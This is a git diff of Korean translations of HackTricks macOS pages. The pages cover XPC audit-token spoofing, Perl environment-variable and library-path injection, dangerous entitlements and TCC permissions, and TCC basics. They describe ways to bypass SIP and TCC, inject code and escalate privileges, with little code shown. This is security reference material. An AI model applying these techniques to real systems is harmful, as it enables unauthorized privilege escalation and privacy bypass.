2. **`A`**에 직접 응답하는 대신, 응답 포트가 탈취되어 서비스 **`B`**에게 메시지를 보내는 데 사용됩니다.
|
||||
3. 이후, 금지된 작업을 포함하는 메시지가 전송되며, 이 메시지가 **`B`**의 응답과 동시에 처리될 것으로 예상됩니다.
|
||||
|
||||
아래는 설명된 공격 시나리오의 시각적 표현입니다:
|
||||
|
||||
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## 발견 문제
|
||||
|
||||
* **인스턴스 찾기의 어려움**: `xpc_connection_get_audit_token` 사용 사례를 정적으로나 동적으로 찾는 것이 어려웠습니다.
|
||||
* **방법론**: Frida를 사용하여 `xpc_connection_get_audit_token` 함수를 후킹하여 이벤트 핸들러에서 비롯된 호출을 필터링했습니다. 그러나 이 방법은 후킹된 프로세스에 한정되었으며 적극적인 사용이 필요했습니다.
|
||||
* **분석 도구**: IDA/Ghidra와 같은 도구를 사용하여 도달 가능한 mach 서비스를 조사했지만, dyld 공유 캐시를 사용하는 호출로 인해 시간이 많이 소요되고 복잡했습니다.
|
||||
* **스크립팅 제한**: `dispatch_async` 블록에서 `xpc_connection_get_audit_token` 호출을 분석하기 위한 시도는 블록 구문 분석과 dyld 공유 캐시와의 상호 작용으로 인해 복잡성에 방해를 받았습니다.
|
||||
* **방법론**: `xpc_connection_get_audit_token` 함수를 후킹하기 위해 Frida를 사용하여 이벤트 핸들러에서 비롯된 호출을 필터링했습니다. 그러나 이 방법은 후킹된 프로세스에 한정되었으며 적극적인 사용이 필요했습니다.
|
||||
* **분석 도구**: IDA/Ghidra와 같은 도구를 사용하여 도달 가능한 맥 서비스를 조사했지만, dyld 공유 캐시를 사용하는 호출로 인해 시간이 많이 소요되고 복잡했습니다.
|
||||
* **스크립팅 제한**: `dispatch_async` 블록에서 `xpc_connection_get_audit_token` 호출을 분석하기 위한 시도는 블록 구문의 파싱과 dyld 공유 캐시와의 상호 작용으로 인해 어려움을 겪었습니다.
|
||||
|
||||
## 수정 <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
* **보고된 문제**: `smd` 내에서 발견된 일반적인 및 구체적인 문제에 대해 Apple에게 보고서가 제출되었습니다.
|
||||
* **Apple의 대응**: Apple은 `smd`에서 `xpc_connection_get_audit_token`을 `xpc_dictionary_get_audit_token`으로 대체함으로써 문제를 해결했습니다.
|
||||
* **보고된 문제**: `smd` 내에서 발견된 일반적 및 구체적 문제에 대해 Apple에 보고서가 제출되었습니다.
|
||||
* **Apple의 대응**: Apple은 `smd` 내의 문제를 해결하기 위해 `xpc_connection_get_audit_token`을 `xpc_dictionary_get_audit_token`으로 대체했습니다.
|
||||
* **수정의 성격**: `xpc_dictionary_get_audit_token` 함수는 XPC 메시지 수신과 관련된 mach 메시지에서 직접 감사 토큰을 검색하기 때문에 안전하다고 간주됩니다. 그러나 이는 `xpc_connection_get_audit_token`과 마찬가지로 공개 API의 일부가 아닙니다.
|
||||
* **보다 포괄적인 수정의 부재**: Apple이 연결의 저장된 감사 토큰과 일치하지 않는 메시지를 버리는 등 더 포괄적인 수정을 구현하지 않은 이유는 명확하지 않습니다. 일부 시나리오에서 합법적인 감사 토큰 변경의 가능성이 요인일 수 있습니다 (예: `setuid` 사용).
|
||||
* **현재 상태**: 문제는 iOS 17 및 macOS 14에서 계속되며, 이를 식별하고 이해하려는 사람들에게 도전을 제공합니다.
|
||||
* **보다 포괄적인 수정의 부재**: Apple이 연결의 저장된 감사 토큰과 일치하지 않는 메시지를 버리는 등 더 포괄적인 수정을 구현하지 않은 이유는 명확하지 않습니다. 일부 시나리오(예: `setuid` 사용)에서 합법적인 감사 토큰 변경의 가능성이 영향을 미칠 수 있을 것입니다.
|
||||
* **현재 상태**: 문제는 iOS 17 및 macOS 14에서 여전히 지속되며, 이를 식별하고 이해하려는 사람들에게 도전을 제공합니다.
|
||||
|
|
|
@ -9,15 +9,15 @@
|
|||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나 Twitter에서** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
- **해킹 요령을 공유하고 싶다면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## `PERL5OPT` 및 `PERL5LIB` 환경 변수를 통한 방법
|
||||
## `PERL5OPT` 및 `PERL5LIB` 환경 변수를 통한 주입
|
||||
|
||||
환경 변수 PERL5OPT을 사용하면 perl이 임의의 명령을 실행할 수 있습니다.\
|
||||
예를 들어, 다음 스크립트를 만듭니다:
|
||||
환경 변수 `PERL5OPT`을 사용하면 perl이 임의의 명령을 실행할 수 있습니다.\
|
||||
예를 들어, 다음 스크립트를 생성하세요:
|
||||
|
||||
{% code title="test.pl" %}
|
||||
```perl
|
||||
|
@ -67,10 +67,10 @@ perl -e 'print join("\n", @INC)'
|
|||
일부 반환된 폴더는 실제로 존재하지 않지만, **`/Library/Perl/5.30`**는 **존재**하며, **SIP로 보호되지 않았으며** SIP로 보호되는 폴더들보다 **앞에** 있습니다. 따라서 누군가는 그 폴더를 남용하여 스크립트 종속성을 추가하여 고권한 Perl 스크립트가 해당 종속성을 로드하도록 할 수 있습니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
그러나 **해당 폴더에 쓰기 위해서는 루트 권한이 필요**하며 요즘에는 다음과 같은 **TCC 프롬프트**가 표시됩니다:
|
||||
그러나 주의해야 할 점은 **해당 폴더에 쓰기 위해 root 권한이 필요**하며 요즘에는 이 **TCC 프롬프트**를 받게 될 것입니다:
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
예를 들어, 스크립트가 **`use File::Basename;`**을 가져오고 있다면 `/Library/Perl/5.30/File/Basename.pm`을 만들어 임의의 코드를 실행시킬 수 있습니다.
|
||||
|
||||
|
|
|
@ -1,92 +1,93 @@
|
|||
# macOS 위험한 Entitlements 및 TCC 권한
|
||||
# macOS 위험한 엔타이틀먼트 및 TCC 권한
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**까지 **AWS 해킹**을 배우세요!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고**되길 원하거나 **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- 여러분의 해킹 기술을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
{% hint style="warning" %}
|
||||
**`com.apple`**로 시작하는 entitlements는 **제3자에게 사용할 수 없으며**, Apple만이 그것을 부여할 수 있습니다.
|
||||
**`com.apple`**으로 시작하는 엔타이틀먼트는 **제3자에게 사용할 수 없으며**, **Apple만이 부여**할 수 있음을 유의하세요.
|
||||
{% endhint %}
|
||||
|
||||
## High
|
||||
## 높음
|
||||
|
||||
### `com.apple.rootless.install.heritable`
|
||||
|
||||
Entitlement **`com.apple.rootless.install.heritable`**은 **SIP 우회**를 허용합니다. 자세한 정보는 [여기를 확인하세요](macos-sip.md#com.apple.rootless.install.heritable).
|
||||
엔티틀먼트 **`com.apple.rootless.install.heritable`**은 **SIP 우회**를 허용합니다. 자세한 내용은 [여기를 참조하세요](macos-sip.md#com.apple.rootless.install.heritable).
|
||||
|
||||
### **`com.apple.rootless.install`**
|
||||
|
||||
Entitlement **`com.apple.rootless.install`**은 **SIP 우회**를 허용합니다. 자세한 정보는 [여기를 확인하세요](macos-sip.md#com.apple.rootless.install).
|
||||
엔티틀먼트 **`com.apple.rootless.install`**은 **SIP 우회**를 허용합니다. 자세한 내용은 [여기를 참조하세요](macos-sip.md#com.apple.rootless.install).
|
||||
|
||||
### **`com.apple.system-task-ports` (이전에 `task_for_pid-allow`로 불렸음)**
|
||||
|
||||
이 entitlement은 **커널을 제외한 모든** 프로세스의 **작업 포트를 가져올 수 있게** 합니다. 자세한 정보는 [**여기를 확인하세요**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
이 엔티틀먼트는 **커널을 제외한 모든** 프로세스의 **작업 포트를 가져올 수 있게** 합니다. 자세한 내용은 [**여기를 참조하세요**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
|
||||
### `com.apple.security.get-task-allow`
|
||||
|
||||
이 entitlement은 다른 프로세스가 **이 entitlement를 가진 이진 파일에 의해 실행되는 프로세스의 작업 포트를 가져와 코드를 삽입**할 수 있도록 합니다. 자세한 정보는 [**여기를 확인하세요**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
이 엔티틀먼트는 **`com.apple.security.cs.debugger`** 엔티틀먼트를 가진 다른 프로세스가 이 엔티틀먼트를 가진 이진 파일로 실행된 프로세스의 작업 포트를 가져와 **코드를 삽입**할 수 있게 합니다. 자세한 내용은 [**여기를 참조하세요**](../mac-os-architecture/macos-ipc-inter-process-communication/).
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
디버깅 도구 Entitlement를 가진 앱은 `Get Task Allow` entitlement가 `true`로 설정된 미사인 및 제3자 앱에 대해 `task_for_pid()`를 호출하여 유효한 작업 포트를 검색할 수 있습니다. 그러나 디버깅 도구 entitlement가 있더라도 디버거는 **`Get Task Allow` entitlement가 없는 프로세스의 작업 포트**를 가져올 수 없으며, 따라서 시스템 무결성 보호로 보호되는 프로세스의 작업 포트를 가져올 수 없습니다. 자세한 정보는 [**여기를 확인하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
|
||||
디버깅 도구 엔티틀먼트를 가진 앱은 `Get Task Allow` 엔티틀먼트가 `true`로 설정된 미인증 및 제3자 앱에 대해 `task_for_pid()`를 호출하여 유효한 작업 포트를 검색할 수 있습니다. 그러나 디버깅 도구 엔티틀먼트가 있더라도 디버거는 **`Get Task Allow` 엔티틀먼트가 없는 프로세스의 작업 포트**를 가져올 수 없으며, 따라서 시스템 무결성 보호로 보호되는 프로세스의 작업 포트를 가져올 수 없습니다. 자세한 내용은 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
이 entitlement은 Apple에 의해 서명되지 않았거나 주 실행 파일과 동일한 팀 ID로 서명되지 않은 **프레임워크, 플러그인 또는 라이브러리를 로드**할 수 있게 합니다. 따라서 공격자는 임의의 라이브러리 로드를 악용하여 코드를 삽입할 수 있습니다. 자세한 정보는 [**여기를 확인하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
|
||||
이 엔티틀먼트는 **Apple에 의해 서명되거나 주 실행 파일과 동일한 팀 ID로 서명되지 않은** 프레임워크, 플러그인 또는 라이브러리를 로드할 수 있게 하므로 공격자가 일부 임의의 라이브러리 로드를 통해 코드를 삽입할 수 있습니다. 자세한 내용은 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
이 entitlement는 **`com.apple.security.cs.disable-library-validation`**과 매우 유사하지만 **라이브러리 유효성 검사를 직접 비활성화하는 대신** 프로세스가 **`csops` 시스템 호출을 사용하여 비활성화**할 수 있게 합니다. 자세한 정보는 [**여기를 확인하세요**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
|
||||
이 엔티틀먼트는 **`com.apple.security.cs.disable-library-validation`**과 매우 유사하지만 **라이브러리 유효성 검사를 직접 비활성화하는 대신** 프로세스가 **`csops` 시스템 호출을 사용하여 비활성화**할 수 있게 합니다.\
|
||||
자세한 내용은 [**여기를 참조하세요**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
||||
이 entitlement는 **DYLD 환경 변수를 사용**할 수 있게 하여 라이브러리 및 코드를 삽입할 수 있습니다. 자세한 정보는 [**여기를 확인하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
|
||||
이 엔티틀먼트는 라이브러리 및 코드를 삽입하는 데 사용될 수 있는 **DYLD 환경 변수**를 사용할 수 있게 합니다. 자세한 내용은 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
|
||||
|
||||
### `com.apple.private.tcc.manager` 또는 `com.apple.rootless.storage`.`TCC`
|
||||
|
||||
[**이 블로그에 따르면**](https://objective-see.org/blog/blog\_0x4C.html) **및** [**이 블로그에 따르면**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), 이러한 entitlements는 **TCC 데이터베이스를 수정**할 수 있게 합니다.
|
||||
[**이 블로그**](https://objective-see.org/blog/blog\_0x4C.html) 및 [**이 블로그**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/)에 따르면 이러한 엔티틀먼트는 **TCC** 데이터베이스를 **수정**할 수 있게 합니다.
|
||||
|
||||
### **`system.install.apple-software`** 및 **`system.install.apple-software.standar-user`**
|
||||
|
||||
이러한 entitlements는 사용자에게 **권한을 요청하지 않고 소프트웨어를 설치**할 수 있게 합니다. 이는 **권한 상승**에 도움이 될 수 있습니다.
|
||||
이러한 엔티틀먼트는 사용자에게 **권한을 요청하지 않고 소프트웨어를 설치**할 수 있게 합니다. 이는 **권한 상승**에 도움이 될 수 있습니다.
|
||||
|
||||
### `com.apple.private.security.kext-management`
|
||||
|
||||
커널에 **커널 익스텐션을 로드하도록** 요청하는 entitlement입니다.
|
||||
커널에 **커널 익스텐션을 로드하도록** 요청하는 엔티틀먼트가 필요합니다.
|
||||
|
||||
### **`com.apple.private.icloud-account-access`**
|
||||
|
||||
Entitlement **`com.apple.private.icloud-account-access`**를 사용하면 **`com.apple.iCloudHelper`** XPC 서비스와 통신하여 **iCloud 토큰을 제공**할 수 있습니다.
|
||||
엔티틀먼트 **`com.apple.private.icloud-account-access`**를 통해 **`com.apple.iCloudHelper`** XPC 서비스와 통신하여 **iCloud 토큰을 제공**할 수 있습니다.
|
||||
|
||||
**iMovie** 및 **Garageband**에는 이 entitlement가 있습니다.
|
||||
**iMovie** 및 **Garageband**에는 이 엔티틀먼트가 있었습니다.
|
||||
|
||||
해당 entitlement에서 iCloud 토큰을 얻는 exploit에 대한 자세한 **정보**는 다음 발표를 확인하세요: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||
해당 엔티틀먼트에서 **icloud 토큰을 가져오는** 악용에 대한 자세한 내용은 다음 발표를 확인하세요: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
TODO: 이것이 무엇을 할 수 있는지 모르겠습니다
|
||||
TODO: 이 엔티틀먼트가 허용하는 작업을 모르겠습니다
|
||||
|
||||
### `com.apple.private.apfs.revert-to-snapshot`
|
||||
|
||||
TODO: [**이 보고서**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)에서는 이것이 부팅 후 SSV로 보호된 콘텐츠를 업데이트하는 데 사용될 수 있다고 언급합니다. 알고 계시면 PR을 보내주세요!
|
||||
TODO: [**이 보고서**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)에서는 이를 통해 부팅 후 SSV로 보호된 콘텐츠를 업데이트할 수 있다고 언급합니다. 알고 계시면 PR을 보내주세요!
|
||||
|
||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||
|
||||
TODO: [**이 보고서**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)에서는 이것이 부팅 후 SSV로 보호된 콘텐츠를 업데이트하는 데 사용될 수 있다고 언급합니다. 알고 계시면 PR을 보내주세요!
|
||||
TODO: [**이 보고서**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/)에서는 이를 통해 부팅 후 SSV로 보호된 콘텐츠를 업데이트할 수 있다고 언급합니다. 알고 계시면 PR을 보내주세요!
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
이 entitlement은 애플리케이션이 액세스할 수 있는 **키체인 그룹 목록**을 나열합니다:
|
||||
이 엔티틀먼트는 애플리케이션이 액세스할 수 있는 **키체인** 그룹 목록입니다:
|
||||
```xml
|
||||
<key>keychain-access-groups</key>
|
||||
<array>
|
||||
|
@ -111,7 +112,7 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
또는 그들로 하여금 **임의의 작업**을 수행하게 합니다.
|
||||
또는 그들로 **임의의 작업**을 수행하게 만듭니다.
|
||||
|
||||
### **`kTCCServiceEndpointSecurityClient`**
|
||||
|
||||
|
@ -119,29 +120,29 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
|||
|
||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||
|
||||
사용자의 홈 폴더 경로를 변경하는 사용자의 **`NFSHomeDirectory`** 속성을 **변경**할 수 있게 합니다. 따라서 **TCC를 우회**할 수 있습니다.
|
||||
사용자의 홈 폴더 경로를 변경하는 사용자의 **`NFSHomeDirectory`** 속성을 **변경**할 수 있게 합니다. 따라서 TCC를 **우회**할 수 있습니다.
|
||||
|
||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||
|
||||
기본적으로 **허용되지 않는** 앱 번들(앱 내부의 app.app 내부) 내의 파일을 수정할 수 있습니다.
|
||||
기본적으로 **허용되지 않는** 앱 번들 내의 파일을 수정할 수 있습니다 (app.app 내부).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 권한을 가진 사용자를 확인할 수 있습니다. _시스템 환경설정_ > _개인 정보 및 보안_ > _앱 관리_.
|
||||
이 권한을 가진 사용자를 확인할 수 있습니다. _시스템 환경설정_ > _개인 정보 및 보안_ > _앱 관리._
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
프로세스는 **macOS 접근성 기능을 남용**할 수 있게 되며, 이는 예를 들어 키 입력을 누를 수 있게 됨을 의미합니다. 따라서 Finder와 같은 앱을 제어하고 이 권한으로 대화 상자를 승인할 수 있습니다.
|
||||
프로세스는 **macOS 접근성 기능을 남용**할 수 있게 되며, 이는 예를 들어 키 입력을 누를 수 있게 됨을 의미합니다. 따라서 Finder와 같은 앱을 제어하도록 액세스를 요청하고 이 권한으로 대화 상자를 승인할 수 있습니다.
|
||||
|
||||
## 중간
|
||||
|
||||
### `com.apple.security.cs.allow-jit`
|
||||
|
||||
이 권한은 `mmap()` 시스템 함수에 `MAP_JIT` 플래그를 전달하여 **쓰기 및 실행 가능한 메모리를 생성**할 수 있게 합니다. 자세한 내용은 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
|
||||
이 권한은 `mmap()` 시스템 함수에 `MAP_JIT` 플래그를 전달하여 **쓰기 및 실행 가능한 메모리를 생성**할 수 있게 합니다. 자세한 정보는 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
|
||||
|
||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||
|
||||
이 권한은 **C 코드를 무시하거나 수정**하거나, 기본적으로 보안에 취약한 **`NSCreateObjectFileImageFromMemory`**를 사용하거나 **DVDPlayback** 프레임워크를 사용할 수 있게 합니다. 자세한 내용은 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
|
||||
이 권한은 **C 코드를 무시하거나 수정**하거나, 기본적으로 보안에 취약한 **`NSCreateObjectFileImageFromMemory`**를 사용하거나, **DVDPlayback** 프레임워크를 사용할 수 있게 합니다. 자세한 정보는 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 권한을 포함하면 앱이 메모리 안전하지 않은 코드 언어의 일반적인 취약점에 노출됩니다. 앱이 이 예외를 필요로 하는지 신중히 고려하십시오.
|
||||
|
@ -149,10 +150,10 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
|||
|
||||
### `com.apple.security.cs.disable-executable-page-protection`
|
||||
|
||||
이 권한은 **디스크의 자체 실행 파일 섹션을 수정**할 수 있게 합니다. 자세한 내용은 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
|
||||
이 권한은 **디스크의 자체 실행 파일 섹션을 수정**하여 강제 종료할 수 있게 합니다. 자세한 정보는 [**여기를 참조하세요**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
|
||||
|
||||
{% hint style="danger" %}
|
||||
실행 파일 메모리 보호 비활성화 권한은 앱에서 기본적인 보안 보호를 제거하는 극단적인 권한이며, 앱의 실행 코드를 감지하지 않고 공격자가 앱의 실행 코드를 재작성할 수 있게 합니다. 가능하면 더 좁은 권한을 선호하십시오.
|
||||
실행 파일 페이지 보호 비활성화 권한은 앱에서 기본 보안 보호를 제거하는 극단적인 권한으로, 앱의 실행 코드를 감지하지 않고 공격자가 앱의 실행 코드를 재작성할 수 있게 합니다. 가능하면 더 좁은 범위의 권한을 선호하십시오.
|
||||
{% endhint %}
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
@ -182,10 +183,10 @@ TODO
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃헙 저장소에 제출하세요.**
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,23 +2,23 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅이 될 때까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
다른 HackTricks 지원 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **PDF 형식으로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**TCC (투명성, 동의 및 제어)**는 응용 프로그램 권한을 규제하는 보안 프로토콜입니다. 주요 역할은 **위치 서비스, 연락처, 사진, 마이크로폰, 카메라, 접근성 및 전체 디스크 액세스**와 같은 민감한 기능을 보호하는 것입니다. TCC는 이러한 요소에 대한 앱 액세스를 부여하기 전에 명시적 사용자 동의를 요구함으로써 개인 정보 보호 및 사용자 데이터에 대한 제어를 강화합니다.
|
||||
**TCC (Transparency, Consent, and Control)**는 애플리케이션 권한을 규제하는 보안 프로토콜입니다. 주요 역할은 **위치 서비스, 연락처, 사진, 마이크로폰, 카메라, 접근성 및 전체 디스크 액세스**와 같은 민감한 기능을 보호하는 것입니다. TCC는 이러한 요소에 대한 앱 액세스를 승인하기 전에 명시적 사용자 동의를 요구함으로써 개인 정보 보호와 사용자 데이터에 대한 제어를 강화합니다.
|
